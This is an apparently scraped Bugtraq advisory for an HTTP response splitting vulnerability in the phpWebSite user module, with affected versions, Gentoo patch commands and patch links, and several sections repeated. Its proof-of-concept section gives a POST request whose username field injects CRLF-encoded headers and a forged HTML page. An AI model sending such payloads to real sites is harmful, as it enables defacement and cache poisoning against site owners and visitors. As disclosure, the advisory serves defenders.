PHPWebSite User Module HTTP Response Splitting Vulnerability
BID:11673
Info
PHPWebSite User Module HTTP Response Splitting Vulnerability
| Bugtraq ID: | 11673 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 04 2004 12:00AM |
| Updated: | Nov 04 2004 12:00AM |
| Credit: | Discovery of this issue is credited to "Maestro De-Seguridad" <[email protected]>. |
| Vulnerable: |
phpWebsite phpWebsite 0.9.3 -4 phpWebsite phpWebsite 0.9.3 -3 phpWebsite phpWebsite 0.9.3 -2 phpWebsite phpWebsite 0.9.3 -1 phpWebsite phpWebsite 0.9.3 phpWebsite phpWebsite 0.8.3 phpWebsite phpWebsite 0.8.2 phpWebsite phpWebsite 0.7.3 Gentoo Linux |
| Not Vulnerable: | |
Discussion
PHPWebSite User Module HTTP Response Splitting Vulnerability
A remote HTTP response splitting vulnerability reportedly affects phpWebSite in its user module. This issue is due to a failure of the application to properly sanitize user-supplied input.
A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.
A remote HTTP response splitting vulnerability reportedly affects phpWebSite in its user module. This issue is due to a failure of the application to properly sanitize user-supplied input.
A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.
Exploit / POC
PHPWebSite User Module HTTP Response Splitting Vulnerability
No exploit is required to leverage this issue. The following proof of concept has been provided:
POST /index.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 218
Connection: Keep-Alive
http://www.example.com/module=user&norm_user_op=login&block_username=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>This site in 0wned{/html}&password=foobar
No exploit is required to leverage this issue. The following proof of concept has been provided:
POST /index.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 218
Connection: Keep-Alive
http://www.example.com/module=user&norm_user_op=login&block_username=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>This site in 0wned{/html}&password=foobar
Solution / Fix
PHPWebSite User Module HTTP Response Splitting Vulnerability
Solution:
The vendor has released a security patch dealing with this issue.
Gentoo Linux has released advisory GLSA 200411-35:02 to address this issue. Users of affected packages are urged to execute the following commands with superuser privileges:
emerge --sync
emerge --ask --oneshot --verbose ">=www-apps/phpwebsite-0.9.3_p4-r2"
Please see the referenced advisory for futher information.
phpWebsite phpWebsite 0.9.3 -4
phpWebsite phpWebsite 0.9.3 -2
phpWebsite phpWebsite 0.9.3 -3
Solution:
The vendor has released a security patch dealing with this issue.
Gentoo Linux has released advisory GLSA 200411-35:02 to address this issue. Users of affected packages are urged to execute the following commands with superuser privileges:
emerge --sync
emerge --ask --oneshot --verbose ">=www-apps/phpwebsite-0.9.3_p4-r2"
Please see the referenced advisory for futher information.
phpWebsite phpWebsite 0.9.3 -4
-
phpWebsite phpwebsite-core-security-patch2.tar.gz
http://phpwebsite.appstate.edu/downloads/security/phpwebsite-core-secu rity-patch2.tar.gz
phpWebsite phpWebsite 0.9.3 -2
-
phpWebsite phpwebsite-core-security-patch2.tar.gz
http://phpwebsite.appstate.edu/downloads/security/phpwebsite-core-secu rity-patch2.tar.gz
phpWebsite phpWebsite 0.9.3 -3
-
phpWebsite phpwebsite-core-security-patch2.tar.gz
http://phpwebsite.appstate.edu/downloads/security/phpwebsite-core-secu rity-patch2.tar.gz
References
PHPWebSite User Module HTTP Response Splitting Vulnerability
References:
References:
- phpWebsite Homepage (phpWebsite)
- security hole (http response splitting) in phpwebsite ("Maestro De-Seguridad"